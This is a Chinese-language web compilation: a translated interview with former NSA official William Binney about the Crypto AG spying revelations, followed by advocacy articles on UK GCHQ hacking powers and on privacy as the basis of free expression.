然后，我们不仅在建立对世界上每个国家及其数据和活动的监视标准中同谋，而且，当别人做同样的事时我们还会不高兴。

但是，难道我们不是真正地了解他们都在做什么吗？他们将要杀死某人或对人们施加酷刑，但我们没有干预而是决定置之不理？

WB：我当然会同意这一点，是的，他们负有不采取行动以阻止恶性事件的责任。

RS：但是，我们谈论的是几乎半个世纪以来发生的所有重大恶性事件。只是，您知道，它在最后逐渐消失了，但仍持续到了2018年。

WB：是啊，我认为您是对的，他们可能了解其中大多数事件。我不知道这个百分比是多少，解密数据并读取他们所说的内容将取决于数据收集的范围。

RS：好吧，我认为《华盛顿邮报》的估计高达这些通讯的50%，

因此，这意味着 —— 例如，当 Sadat 和 Jimmy Carter 正在谈判一项和平协议时，Jimmy Carter 就拥有 Sadat 与他自己的政府以及他自己的政府机构的所有对话；而埃及领导人 Anwar Sadat 不知道这一点。

因此，他认为自己正在与美国总统进行谈判，而美国总统掌握了所有这些信息，因为他们能够利用对方所有的外交和情报通信，或至少50%，对吗？

WB：是的，我同意。

RS：恩- [笑]

WB：确实，这是情报界的事，他们就是干这个的。

如果有任何关于暗杀的消息，并且他们告诉了总统，您知道，他可能会愿意、也有很大的机会在公众面前说点什么。

举例来说，例如，我认为里根总统确实在其担任总统的某个时候发表了一些评论，从根本上说这一线索已经显露。因此，情报机构可能在争辩说我们需要确定并强调没有人对此公开发表任何言论，他们甚至需要就此警告总统。所以，我确定他们这么做了。

RS：嗯，这涉及到炸毁建筑物、杀人、逮捕和拷打、发动战争、撒谎等等。有大量的信息……

我想知道众议院或参议院情报委员会中的人，例如 Dianne Feinstein 或 Adam Schiff，不论是民主党还是共和党人，他们对此了解多少？他们是在隐瞒这些事吗？在《华盛顿邮报》的报道中并没有明确指出这点。

WB：啊，不，这将在 Gamma 报告中提出。那就是我们从国家安全局（NSA）发行的报告，就像希拉里·克林顿的情况一样，她从 Gamma 报告中提取了一些摘录。

报告中没有告诉客户（他们将国会视为客户）没有告诉他们确切是如何获得这些信息的。它只是说这是来自NSA或CIA中运行的敏感程序获取的敏感信息，无论是哪个间谍机构。因此他们至少会知道 Gamma 类报告具有一定的可靠性。

RS：所以他们会知道我们正在利用例如 Anwar Sadat 与他的政府、他的大使馆和他的武装部队的联系。但是他们不知道如何收集这些信息的细节。

作为监督机构，参议院情报委员会应该提供监督 —— 肯定是在七十年代以后，这就是他们应该做的。那时他们应该知道对我们所有的盟国都有间谍活动。我想澄清这一点。

不只是针对敌人，还针对盟国。他们难道不认为这违反了国际法吗，体面、尊重他人的规范还要吗？或者只是惯例？

WB：嗯，有关国家之间也很有可能签订条约。因此，你知道，这就像是在你的国家/地区放一些东西，你不对我进行监视。就是这样，在国家之间的条约协议中出现。

我还要说的是，与今天的情况相比，这可以说是小菜一碟。他们一直在监视每个美国公民，包括您，我，每个人。他们正在获取您做的广播节目的副本。

众所周知，这只是一团糟。我的意思是，我们已经创造了这些情报机构，这些机构根本上不受世界上任何政府的控制。

当他们试图对总统进行软政变时，看看他们在CIA、FBI、DOJ、或NSA 上有多大控制权。或者您知道，世界上任何其他国家/地区，在监督方面都存在类似的不足之处。我的意思是，他们的监督确实是个笑话；在全世界范围内，这只是一个笑话。

他们只是绝对无法控制任何这些情报机构。

这些间谍机构会做任何他们想做的事，一旦他们关上那扇秘密的门，您就被推出来了。

国会所做的唯一一件事就是所谓的“监督”，他们将工作人员派到NSA或CIA或DIA（无论是哪），无论他们去到哪个机构，他们都会得到一组简报员的简报。这就是那个机构想要告诉国会的所有事，就是国会能得到的所有事，他们没有其他判断依据。而且这些间谍机构也不会告诉他们。

RS：所以让我明白这一点。希望您不要对这一切感到厌烦。但是 ……

WB：不会，我对此也很生气。

RS：我的意思是，人们知道 —— 对《华盛顿邮报》的报道并没有那么多反馈。那真的让我感到惊讶。

我想说，他们同时在做出重大的交易。在《华盛顿邮报》的报道中提到了摩托罗拉和德国西门子公司，这些是世界上最大的公司，他们就在这家名为 **Crypto** 的公司那里完善了他们的系统。

因此，它们处于或必须处于这样一个事实：他们正在监视像意大利这样的政府 —— 您知道，世界各地的政府，其中一些我们声称是其亲密盟友。全世界有**123**个政府涉及其中。没有人说出真相。

在《华盛顿邮报》的报道中，这很有趣，他们说，当爱德华·斯诺登透露了**NSA**监视和间谍活动的程度等时，人们确实感到震惊。但是实际上，这个报道表明斯诺登的揭露只是其中的一部分。

他揭示了对外国政府和领导人进行的一些监视。就像我说的，在巴西、德国等等。但是根据《华盛顿邮报》的报道，这在近半个世纪的大部分时间里都是常态。只是例行监视世界各地的每位领导人，无论他们被认为是民主的、独裁的、共产主义的、法西斯主义的、或是随便是什么。

他们的所有最私密的信息都已提供给美国间谍机构，而且比斯诺登透露的内容要广泛得多。

WB：实际上，我不会这么说。因为其中一方面显示了斯诺登在网上发布了五眼联盟的全球访问点地图，那些小点表示它们在地图上的所有位置，就是植入物所嵌入的地方。在全球范围内有50000多个植入物。

现在，这些用于解密或读取任何人的通信的小植入物是其中一部分。就是说可能为一个国家植入了十几个植入物，并且基本上可以涵盖其政府的所有通讯。就像这样，具体取决于目标政府的规模。

RS：是的，但是您是专家。您是技术专家的负责人 —— 我忘记了头衔，于是您知道 ……

WB: 技术总监，哈哈

RS：您曾经是全球情报技术总监。但是我们大多数人从来没有看过那个图表。我看着它，我真的不知道这些点是什么，直到我读了《华盛顿邮报》的报道。

但是，尽管他们得到了这些信息，却显示为这些点之一。正如我说的，是的，您不能忽略斯诺登，华盛顿邮报的报道非常清楚。但是，这表明它实际上具有更大的入侵性 —— 您可能以为，他们正进入埃及或希腊寻找一些坏人或恐怖分子，或者一些反对该政府的人。

不，他们要去寻找意大利或任何其他国家的首脑对自己的大使、自己的人民、自己的顾问、自己的国防部长所说的所有话。因此这不只是寻找一些坏人或恐怖分子 ……

WB：是的，这也有附带好处，我只是想指出俄罗斯和中国的一侧，俄罗斯和中国对世界上不同国家的通信做出了回应。您至少可以看到对话的一侧，这样您就可以开始理解中国人或俄罗斯人对他们大概说了什么。

因此，您实际上可以间接获得全部。您不需要直接去看中国的加密通信或俄国人的加密通信。

举一个例子。在第二次世界大战中，法国入侵之前，日本驻德国大使参观了隔离墙，他尽职尽责地向日本政府报告了这一情况，并且他使用了日本代码系统来执行此操作，而这正是我们正在阅读的代码系统之一。

因此，当我们读到这些东西时就获得了德军在欧洲的防御阵地的整体布局。这样有助于入侵，这样的访问点可以间接获得这种信息。

RS：好的，但是只针对那些没有读过华盛顿邮报报道的人，请举一个例子。在与福克兰群岛的战争中，英格兰与阿根廷交战。现在不认为阿根廷是美国的恐怖对手。而您所供职的机构，国家安全局和中情局则控制着一家公司，该公司能够获得阿根廷军方和政府正在做什么、在说什么的所有详细信息，然后将其交给到英国。

您知道，这种监视，对表面上友好或中立的政府的入侵是令人震惊的。

正如我所说，随之而来的是所有权或责任。您还了解独裁者将要做的邪恶的事，但是您不会警告即将被暗杀或遭受酷刑的人，因为那样做会损害您的访问权限，对吗？因此，我们实际上参与—共谋—了许多此类犯罪。

WB：是的。如果你了解但是不采取任何行动，那么你就是同谋。

RS：所以我要说的是 —— 再一次，您是专业人士，在这里您是本节

目的客人。我只是个阅读这份报告的人，我只是在想，为什么如此恶劣的事没能让人们感到震惊？

这是我的基本问题。我们只是说如果美国政府这样做，那一定是有道理的；但是，如果有人做同样的事，即使只是一小部分，我们会认为这很可怕吗？那不正是我们干的事吗？

WB：是的，我们是白帽，我永远都是对的。我们做正确的事，其他人做错误的事。

RS：那么，您所在的机构，他们说，NSA的大多数人并不真正了解 Crypto AG 这家公司，对吗？

WB：是的。

RS：那是一个深层的秘密，对吗？实际上，在该公司工作的人（其中一名在伊朗被捕）认为他们自己只是无辜的承包商，他们在世界各地销售优质的加密技术。

WB：是的。完全正确的。你要做的就是聘用那些不了解实际情况的人，让他们成为可以传播信息的人。我敢肯定，只有极少数的人—控制生产和销售的最终技术的人知情。一旦您将内幕掌握在非常少的人手中，那么公司中的其他人都不会知情。

实际上，他们甚至都不知道谁是公司的所有者，很显然，我敢肯定他们中的大多数人都不知道。

RS：这是一个深层的秘密。换句话说，这是一家瑞士公司，假装是私人拥有并对其股东或您拥有的财产负责，而实际上它是由 NSA 和 CIA 以及一家西德情报机构所有。这是华盛顿邮报说的。

WB：但是，如果我能在这里面插入一些东西，我永远都不会称其为瑞士公司 —— 这是一家位于瑞士的CIA / BND幌子公司。

RS：是的。好吧，这很公平。因此华盛顿邮报上说："Even so"，您知道，因为我们现在不这样做了，并于2018年结束了；它说："即使如此，加密操纵也与现代间谍活动有关。它的影响范围和持续时间有助于解释2013年斯诺登揭露的情报机构对全球监视的狂热欲望。

在涉嫌与外国政府有联系的现代公司中，也流传着关于加密的怀疑，其中包括俄罗斯反病毒软件公司卡巴斯基，与阿联酋和中国电信巨头华为有联系的短信应用程序等。

所以奇怪的是，我们否定了一家俄罗斯公司，否定了一家中国公司，我们说您不应该信任他们的技术，他们的建立就是为了获取所有信息。然而，美国政府通过CIA／NSA，在半个世纪的时间里，为监视其他政府并破坏其秘密设定了黄金标准，对吗？

WB：是的。

RS：所以这是虚伪的。我不知道……

WB：是的，好吧，这就是间谍活动。

RS：我只想说一句，华盛顿邮报再次引用："很难夸大CIA和BND的历史是多么的非凡。" BND是德国的历史。我的意思是，这是一个非常有力的声明是吧？敏感情报文件会定期解密，并发布给公众。但是，即使不是史无前例的，也很难完全了解整个秘密行动的权威内部历史"。

它写道："邮报能够阅读所有文档，但是材料的来源坚持只公开摘录。" 我再次想在评估中保持谦虚和理性，我不知道为什么这没有成为一个更惊人的曝光。

他们所说的另一句话："这些文件"，指的是由中央情报局和德国情报部门撰写的内部文件，"在很大程度上避免了更多令人不安的问题，包括美国对参与暗杀阴谋、种族清洗运动、和侵犯人权行为的国家的了解 —— 这些文件可能提供了理由来重新考虑美国是否有能力干预或至少揭露国际暴行，以及美国是否有时宁愿不去揭露以保持其获取宝贵情报的机会。"

因此，我们谈论的是深层的腐败，隐形政府的深层不道德行为。

WB：我同意。例如，我在情报范围之内，我无权这样做，但如果我通过NSA看到一些材料，那将暗示攻击即将来临，并且某些人卷入其中。这就是为什么我最初要打电话给FBI，我只是用加密电话联系他们，然后说，我已经知道了，您需要为此做点什么。

告诉他们对方是谁，在哪里，有多少人。我知道，其他人可能没有这样做。但是我会做。

RS：如果美国政府对此没有做任何事，那么他们就是同谋。

WB：是的。我绝对同意。

RS：好的。所以，在我们最后总结之前，我只是想让人们明白，这不是 Bill Binney 和 Robert Scheer 幻想的东西。这就是华盛顿邮报获得的资料。他们已经完成了实际研究。

RS：是的。所以再次引用华盛顿邮报对此的分析："从1970年开始" —— 这是半个世纪好吧，"从1970年开始，中央情报局及国家安全局" —— 我正在与之交谈的 Bill Binney 在这里工作了30年 —— 控制了 Crypto 运营的几乎所有方面，与德国合作伙伴一起主持聘用决策，设计其技术、破坏其算法并确定其销售目标。"

因此，当我们说不能信任像华为这样的中国公司时，因为即使它们是私有企业，它们也可能与政府保持某些联系，这是个玩笑？

WB：是的。我的意思是，您知道，嘿，让我们以Mueller报告为例，该报告指控格鲁乌特工，他因从事间谍活动而被指控间谍。我说好吧，这意味着世界上其他国家/地区都可以指责我们的间谍以及NSA和CIA，以同样的理由。

我们制定第二修正案的原因是为了保护公民免受自己政府之害，而不是外国政府。也就是说，我们的开国元勋们不信任我们自己的政府，那我们为什么要这么做？

但是，相反，我们在做什么？我们盲目地信任他们，认为他们在保护我们。不要让我考虑坏事，我只是不想处理，你来处理。就是这样，我们将一切交给了自己的政府，而没有任何有效的监督或验证他们告诉我们的信息的方式。

看看 Clapper 和 Alexander 以及所有这些情报人员在国会面前宣誓和撒谎的次数。这就是我们让这种事发生的原因。我们作为一个国家，作为一个人。

RS：那么，最后再谈一谈爱德华·斯诺登及其角色。如果 Snowden 没有显示数量 —— 您供职的机构进行的间谍活动的数量？

WB：[笑] 我不为此感到骄傲，这就是为什么我反对它。

RS：是的。现在我们有一个例子，很多自由派人士不喜欢唐纳德·特朗普，我也不喜欢，你知道，好像一切坏事都是从这个家伙开始的， 因此，如果您反对他就能使您摆脱困境。

而我们在这里谈论的是在民主党人和共和党人的领导下进行的一项计划。我们处理了美国无罪这一概念："如果我们这样做，可能是一个

错误，但这是有原因的”。在这种情况下，肯定是自1970年以来，每位美国总统都知道或从某种程度上被告知了这件事 —— 这是一个公平的说法吗？他们将不得不对此有所了解？

WB：是的，完全正确。

RS：好的。因此，每个美国人都应该去查一下自1970年以来历任美国总统都是谁。当然，备受尊重的 Jimmy Carter 就是其中之一

遍历整个列表。您已经知道，当他们向世界上几乎所有国家的领导人问好时，那个领导人都不知道自己最私密的谈话已经提供给了这位美国总统。

美国的每位总统，不论是民主党还是共和党，都认为这是常态。您可以监视其他政府最私密的材料。但是，如果他们对你这样做，就会成为非法国家。这就是整个故事对吗？

WB：是的，这是情报虚伪的一面。因为我们是好人。毕竟，我们将努力维护世界和平。实际上，我们最终付出了更多，卷入了更多战争，而这些战争似乎永无止境。我的意思是，这就是问题所在。

我们在思考方式上有双重标准；我们没有一个真正统一的价值体系可以支配一切。

RS：是的，就像 Bobby Ray Inman 那样，他在1970年代末和80年代初曾担任CIA的负责人，也曾担任过NSA的负责人，有人问他，我是否应该感到不安？他说：不需要。那是一个非常有价值的交流资源。

人们去出售该设备，安装它 —— 而当他们被捕时，例如在伊朗监狱里的那位，我们的政府说，哦不，他不是间谍。这个家伙什么都不知道。他不知道自己正在为中央情报局工作。他以为自己在一家瑞士公司工作，该公司销售加密技术。

所以当他被捕时，全世界的人们都说，那是一个糟糕的政府。他们逮捕了这个人，而他不是间谍。但是他在不经意间已经成为间谍。

我们对成百上千的人这样做。华盛顿邮报指出，中情局拥有的这家公司有很多工作人员。他们认为自己制造的技术很好。然而他们不知道他们所出售的技术已经遭到破坏，其作用与买主所期待的安全性完全相反。

WB：就像我说的，我们是白帽。人们就是这样看的。

RS：我们是白帽。但是您知道，作为记者，我真的想为华盛顿邮报鼓掌。我可不是那种为亿万富翁所谓的拯救新闻业而感到高兴的人，无论是《洛杉矶时报》还是《华盛顿邮报》。但我认为这篇报道是新闻自由的典范。

Jeff Bezos 至少没有阻止这个报道的出版。但可悲的事实是，这份报告以及国际上与《华盛顿邮报》合作的不同报纸上的报告确实没有得到应有的重视。

我真心希望人们现在听过本节目之后可以重新思考一下。再次感谢 William Binney，他是一个非常秘密的世界的独立信息来源，现在发出了警告。小心。

WB：谢谢，Bob。○□

您可以在这里收听该节目：https://www.kcrw.com/culture/shows/scheer-intelligence/the-cias-complicity-in-modern-global-atrocities-revealed

原文

合法的大规模间谍 - iYouPort

政府的间谍行为

允许间谍机构GCHQ的代理商侵入个人电话、计算机、USB记忆棒、甚至整个通信网络的框架

「图」

「图」

英国情报机构正在准备大幅扩展其大规模数据黑客的行动，公民自由团体和数字隐私权倡导者对“广泛设备干扰机制”（EI）的继续扩大对普通公民的个人隐私意味着什么产生严重担忧。

⚠大规模 EI 机制是允许间谍机构 GCHQ 的代理商侵入个人电话、计算机、USB记忆棒、甚至整个通信网络的框架。EI 的扩张让隐私专家深表担心，这将使英国政府机构能够在不受控制和不受限制的情况下自由地进行大规模窥探行动。

当“ 调查权力法案”于 2016 年通过议会时，Edward Snowden 立即批评它是西方世界最彻底的政府监视计划。 “英国刚刚将西方民主史上最极端的监视合法化了。它比许多独裁者更进一步，“ 这是 Snowden 在当时发布的推文。

本月，安全部长 Ben Wallace 致信情报和安全委员会主席 Dominic Grieve，并解释说，自2016年“调查权力法案获得皇室同意”以来，GCHQ 对 EI 的立场已经“发展”。 这意味着 GCHQ 必须扩展 EI，以跟上自那时以来通信工具的技术“进步”。如果不扩展 EI，GCHQ 的间谍就无法正确定位全新的硬件设备和软件应用程序。

显著扩大已经广泛的政府监视范围当然会遭到英国隐私权倡导者的强烈反对。Liberty 的倡导和政策官 Hanna Couchman 旨在“证明在尊重权利的民主制度中，大规模监视永远不可能是正当的。”

Couchman 警告，“政府可以使用批量监控来访问我们最敏感的个人

信息—— 我们向朋友和家人发送的信息，我们访问的网站以及我们在线发布的任何信息，我们去了哪里以及我们准备去哪里。这些信息可用于建立关于我们的令人不安的详细资料。“ 不仅如此，政府机构的这种大规模无限制监视实践可能对整个人类行为产生深远的负面影响。Couchman 认为，批量监控完全会导致个人的自我审查并完全改变他们的行为。

Intelligence agencies in the UK are gearing up to significantly expand their large-scale data hacking operations in an effort to more effectively identify potential national security threats.

原文

同一枚硬币的两面 - - 隐私权和言论自由权 - iyouport

政府的间谍行为

【2020年4月7日存档】他们诱使你相信 “实名是光明正大”，然后他们就可以随意剥夺你的一切。中国当局在这方面的 “成效” 格外突出，不信的话，请和那些主动实名的活动家和异议人士交流一下，就明白了 —— 本文是一个辩论模版，帮助您挑战相关领域的操纵和误导。

众所周知，中国政府安装了监视和审查任何反政府网站的软件；

- 《毒霾—监控审查网络的全球蔓延：中国和俄罗斯的共同点与区别（长篇报告）》
- 《美国和中国在监视公民方面引领全球》

从巴林到摩洛哥，所有记者和人权维护者的电话都遭到了窃听，并且他们的电子邮件一直在被维稳部门入侵；

- 《网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》

Facebook、Google 这些监视资本家将用户数据移交给执法机构，其中包括IP、位置数据、和通讯记录……几乎一切；

- 《他们是如何抓捕说真话的人？⚠灾难和教训》

美国政府对全球互联网用户进行大规模监视：

- 《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》
- 《数字威权主义的兴起: 灾年之畔》

这些行为中的每一种都威胁着个人的表达自由、以及维护私人生活和私人通讯的基本人权。

正因为隐私和自由表达是同一枚硬币的两面，每一面都是享受彼此的必要先决条件。

为了自由地形成和传播一种政治、宗教或种族信仰，人们必需拥有一个不受国家、私营部门、或其他任何形式干预的自治私人空间。

- 《隐私意识、中国人的态度和通往民主的路障》

同样，侵犯隐私权的任何行为 —— 包括物理或在线监视、对通信或活动的监视、国家对私人家庭或家庭事务的侵犯 等等—— 都会阻止个人行使其自由表达的权利。

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》
- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

联合国见解和言论自由问题特别报告员 Frank La Rue 在2013年6月就在向人权理事会提交的具有里程碑意义的报告中指出了这一点。

该报告标志着联合国第一次承认国家监视对言论自由和其他人权的危害，并谴责了政府监视的最新趋势。那还是2013年，也就是斯诺登曝光的第一时间。

该报告适时地提醒了监视对公民自由的严重影响，特别是考虑到每一天都有曝光政府对新闻记者进行监视、黑客入侵电子邮件、或要求社交网络移交用户数据的消息。

显然，这种广泛的监视不仅仅是收集公民信息 —— 它是关于压制所有人的想法和思想、控制我们的行动和言语。*OLYMPUS DIGITAL CAMERA*

数字时代的自由表达和隐私

「图」

在现代世界中，几乎每个在线行为都是一种表达行为。参与在线聊天、与朋友和同事建立网络、浏览网站和阅读新闻、下载文件 —— 这些都是传递或访问信息的行为。

每一种在线互动都会生成并存储内容，其中一些内容是公开可用的 —— 也就是 “开源情报” 调查所需求的部分，此外大部分是在选定的私人和群组中。

然而，这些行为中的每一个也会产生交互数据，并且可以由非预期方监控。

反过来，现今几乎所有的表达行为对于通讯提供者、乃至国家，都是完全透明可见的。

这是没有先例的。在以前，我们可以与自己的朋友和同事进行交流，而没有其他无关的人知道。我们可以在城市国家和大洲四处走动，并与我们所希望的任何人会面，而无需其他人知道。

我们可以关注并加入自己喜欢的团体和运动，而不必透露身份。我们可以出版和分发小册子、海报、报纸和书籍，而无需了解创作者、出版者和读者的真实身份。

免于被监视的行为能力是表达行为的天生力量，因此，当我们可以自由地表达自己的个人的想法、政治立场和职业生活时，我们必然从隐私中受益。

最重要的是，我们认为这些权利值得保护，必需能体现在宪法中以及通过社会运动倡导和法律保护来促进。

现在人们普遍认为保护自由表达是一项共同的利益。一些国家大声疾呼支持其保护，并警告那些在现代尤其是互联网领域不支持它的人。

但是，没有任何国家能真正的促进隐私权。

是真正的，而不是各种花哨的宣称。

现在，当国家和人权机制经常谈论 “促进言论自由以及促进互联网和新技术的接入和使用的重要性” 时，他们很少承认新技术对隐私权的影响。

他们故意在现代环境中支持自由表达，而忽略了长期以来作为自由表达的支柱 —— 隐私权。

以这种更加令人担忧的方式，他们希望看到更多的人进行交流和表达自己、特别是在面临这样做很危险的国家，同时对如何使自己面临更大的识别、剖析和分析之风险，视而不见 —— 就如中国当局所做的那样。

中国当局的手段非常成功，很多异议人士以主动实名为荣、为 “勇气的象征”。事实上这只是被操纵的结果 —— 被当局的恶意误导所操纵。

当权者诱使人们接受监视，以“主动”放弃自己的权利，这是极为可恶的。

隐私权还经常受到文化相对主义的指责 —— “隐私是西方概念”的口号经常被隐私倡导者所接受，这是完全错误的。

隐私就是基本人权，对每个人来说都应该是公平的。

人权保护机制尚未充分发展隐私权，这是漏洞；联合国人权委员会最近就包括互联网在内的大多数现代技术被广泛使用发表了关于隐私权的一般性评述，但是，它仍然在其关于缔约国人权记录的结论性意见中忽略了对隐私权的考虑。

因为他们很少能认识到隐私权与自由表达之间相互依存、相互促进的关系。

本文从阐明人权和政治语话中的隐私权的优先地位开始，然后阐明隐私权和自由表达之间的明确联系，通过检查国家对通讯的控制和监视来说明两种权利之间的相互依存关系。

最后，通过为国家保护和促进隐私权的具体行动提出建议，呼吁联合国人权机制就两种权利之间的相互加强关系作出更强有力的声明。

隐私权 —— 议程中缺少的重要内容

「图」

国际社会未能就隐私权的含义和适用性做出更强有力的陈述，部分原因可能是在定义权利的内容和轮廓方面存在挑战。

尽管隐私在国际上被认为是一项基本权利，并且在数十个国家的宪法中都有其基础，例如 智利、埃塞俄比亚、尼泊尔等许多国家；并且在许多地区和国际条约中包含；在整个民主世界的法院判例中，其有效性远不止于功能性法律构架的有效性，这种合法性构架源于其在国内法或国际法中的存在。

尽管隐私权在保护个人免受政府和公司侵入其房屋、通讯、观点、信仰、身份、以及侵害其身体方面起着至关重要的作用，但是，人们通常认为隐私权不过是一种需要不断发展的社会规范。

并非如此。

它面临着不断变化的环境，它面对着不断更新形式的数据生成、存储、处理和监视，因此，它不应该是一个静态的概念；它的内容和范围是有争议的，要服从于个人、政府和企业之间永无休止的拔河比赛。

创新和变革 —— 不仅在技术上，而且在移民和边界流动、安全与冲突、态度和优先事项上 —— 都在传播和挑战我们对 “私和公” 的观念。

破坏或保护隐私的新手段的不断发展，引起了关于如何将其应用于背景文化的新讨论，以及有关其在不断变化的背景中的显著性的新问题。

“隐私”可能没有固定的含义或核心内容；我们对隐私的概念必然会因历史时期，文化和地区而异。需要认识到这点。

技术的不断发展也改变了我们对私人和公共领域的思考方式，因此，对隐私的理解和保护也受到了挑战。

技术变革改变了我们与政府和公司部门的关系和互动，也改变了我们对实现和保护人权的看法。

当涉及到我们的沟通时，尤其如此 —— 关于我们如何形成并传授我们的信念和观点。

为了享受通信的隐私性，个人必须能够在国家、私营部门和其他社会成员无法窥视的真正私密的空间中交流信息和思想。

随着技术扩大国家的影响力、绝对的权力被掌握在私营部门手中，加之所有人都在网上创建新的社会和公民社区，如何保护隐私变得越来越重要。

当然，保护和促进隐私权的失败不仅仅源于无法就权利的定义或概念达成共识。

相反，由于隐私权是公民不受国家保护的根本保障，因此，国家政府将隐私权视为控制社会的障碍、和巩固自身权力的障碍。

隐私是对人的尊严的最基本理解的核心 —— 在没有外界干扰或恐吓的情况下、能够自主选择自己的生活和人际关系的能力，对于我们作为人的身份至关重要。

自治不仅涉及个人做出决定的主观能力，而且，还关乎拥有使该决定成为可能的外部社会、政治和技术条件。

只有隐私才能赋予这些外部条件。

由于个人自治是公共生活和辩论的关键组成部分，所以，隐私不仅是社会价值，而且是公共价值。

然而，对于试图控制其民众的国家政权而言，隐私被视为一种障碍，因此，在概念上被视为 “阻碍安全、发展和现代化”。

当权者擅长在相互竞争的价值观之间给人以简单、错误的选择：尊严还是便利、自由还是控制、我们的人权还是所谓的安全、现代化还是发展。这是完全错误的，您必须知道。

- 《便利的暴政》

各国的政权都在拼命高呼：“如果不能规范匿名在线表达，就不能确保稳定；国家政权必须能随时窥视任何通信，以防止所谓的恐怖主义和网络犯罪；没有被监视到的在线互动将导致违法”。

这就是他们如何掀起反加密战争的。

你必须知道，当权者只是在试图误导概念，让人们误认为 “保密”意味着 “干坏事”。这点上，中国当局的误导是最为成功的。去听听那些主

动捍卫实名制的异议人士和学者的观点你就能发现这有多可怕。

中国绝不是特例。“必须在隐私和安全之间做出选择” 的二元思维经常弥漫在政治和经济话题中，并引发了关于技术作用的过于简化和无效的争论。

相关讨论并没有显示出任何细微差别，没有考虑到与隐私和安全性相关的价值和优先级，没有提及技术的潜力或威胁与安全性的不断变化的性质，也没有表明存在其他选择。

这些辩论一概错误地将安全性和隐私性视为互相竞争的概念，而不是相互联系并潜在地增强价值的关系。

面临的挑战是增加对技术的获取和了解，确保决策者及其所采用的法律应对技术的挑战和潜力，并引起更多的公众辩论，以确保在全社会层面上谈判权利和自由。

隐私和自由表达 —— 建立连接

「图」

技术模糊了公共和私人思想与表达之间的界限。

有关如何表征社交媒体的沉思和博客，如何考虑位置、IP地址和 Cookie 之类的数据排放的问题，使全球法院感到困惑。

如今，隐私与自由表达之间的联系比以往任何时候都更加重要。侵犯一个人的隐私权可能既是侵犯其他一群人的原因又是其后果。

在通信监视中尤其如此。

一个人对另一个人说的话、他们的亲密感受和意见、谁与谁有关系和联系、阅读什么报纸、看什么电影、去哪里以及和谁聊天 ……这些信息中的每一个都应该是令人难以置信的敏感和私密。

长期以来，人们一直将这一切视为个人私生活的保护区，而不是任由任何人窥视的地方。

某些技术的创新为交流提供了更多的可能性，并保护了言论自由，从而实现了匿名、快速信息共享和跨文化对话。但是，同时，技术的变化也为国家监视和干预个人私人通信提供了更多的机会。

- 《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》

数字 “后门” 内置于移动电话网络中，以实现国家监视；大规模侦听系统和语音识别技术等玩意可以在全国范围内进行监视。

- 《窃听究竟有多”容易”？》
- 《什么是 SS7，据称中国正用它来窥探特朗普的手机？》
- 《提醒注意大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出*国际语音识别数据库*》
- 《匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？》

社交媒体监视工具、深度数据包检查和特洛伊木马，用于在线监视任何个人。越来越多的国家要求互联网公司保留由用户生成的所有在线活动的一切数据，并保存在本地。即 所谓的“数据主权”。

- 《互联网主权的全球崛起：这意味着什么？》

可能受到监视的表达之范围也有所增加。

曾经一直以来，监视是针对通过电话进行的私人对话的，而在现代，公民的大部分表达是通过易于监视的渠道进行传播的，不仅包括私人一对一对话，还包括书籍、杂志、小组之间的对话，大纲和完成的作品、家庭记录、图书馆搜索、广播节目、现场视频和历史文化，一切都数字化了。

现代技术增加了监视的覆盖面和能力，甚至更多；当个人生活中最私密和重要的部分被暴露于入侵的可能性时，表达自己的自由就无法真正享有。

相反，个人不得不开始担心自己的想法、言语和人际关系将成为拦截和分析的敏感词。

个人可以在互联网上访问的内容受到限制，阻碍了他们自由传播和接收信息和知识的能力。

- 《我们还有机会说悄悄话吗？互联网时代的坦诚之死》

实名上网的规定和要求，已经导致人们事实上被排除在重要的社会领域之外，从而损害了他们的表达和信息权，并加剧了社会不平等现象。

因此，侵犯私人生活会对言论自由产生令人不寒而栗的影响，导致个人审查自己的一切通讯、并抑制其参与和协作的能力和意愿。

当政府或私营部门可以不受限制地窥视个人访问的信息时，寻求和接收信息的权利也会受到限制。如果你知道政府间谍会盯着你的转发动作，你还会转发那些最有价值的内容吗？

图书馆、书店或报亭的访客可能希望他们选择的阅读材料将保持私密，并且不会因为阅读了敏感的书籍而遭到识别或迫害 —— 如果您的对手看到您正在购买 “如何隐身” 相关的书籍，他们可能会提前对你下手。

但通过受监视的电子网络传送阅读物时，将无法再满足私密的保证。

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

国家现在可以了解访问所有书籍、网站、报纸和杂志的读者的身份，随时知道每个人喜欢看什么电影、喜欢听什么音乐。

侵犯隐私和自由表达也对结社和集会的自由权造成了严重的危害 —— 如果政府当局知道你和同伴正在策划行动，你们就无法真的行动了。

- 《如果你准备参加抗议活动：指南》
- 《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

对通讯的监视使国家能够随时了解和审查个人可能希望保持机密的关系和交流。监视在影响个人自由表达其意见的能力的同时，也会影响表达这些意见的人。

个人的组织能力也受到限制：在以前，当权者会强制黑名单以恐吓人们不要加入特定组织，而现在，他们可以从在线活动、移动和相关互联网服务的位置数据、或使用脸部扫描技术以识别给定物理空间内的所有人，例如 针对公开抗议。

这一切都可以在个人完全不知情的情况下进行。

某些群体特别容易受到侵犯，无法获得自由表达、隐私和信息的权利。

由于隐私使个人能够在不受权力限制的空间中工作，因此记者依靠隐私保护来接收和跟随来自举报人的机密信息。

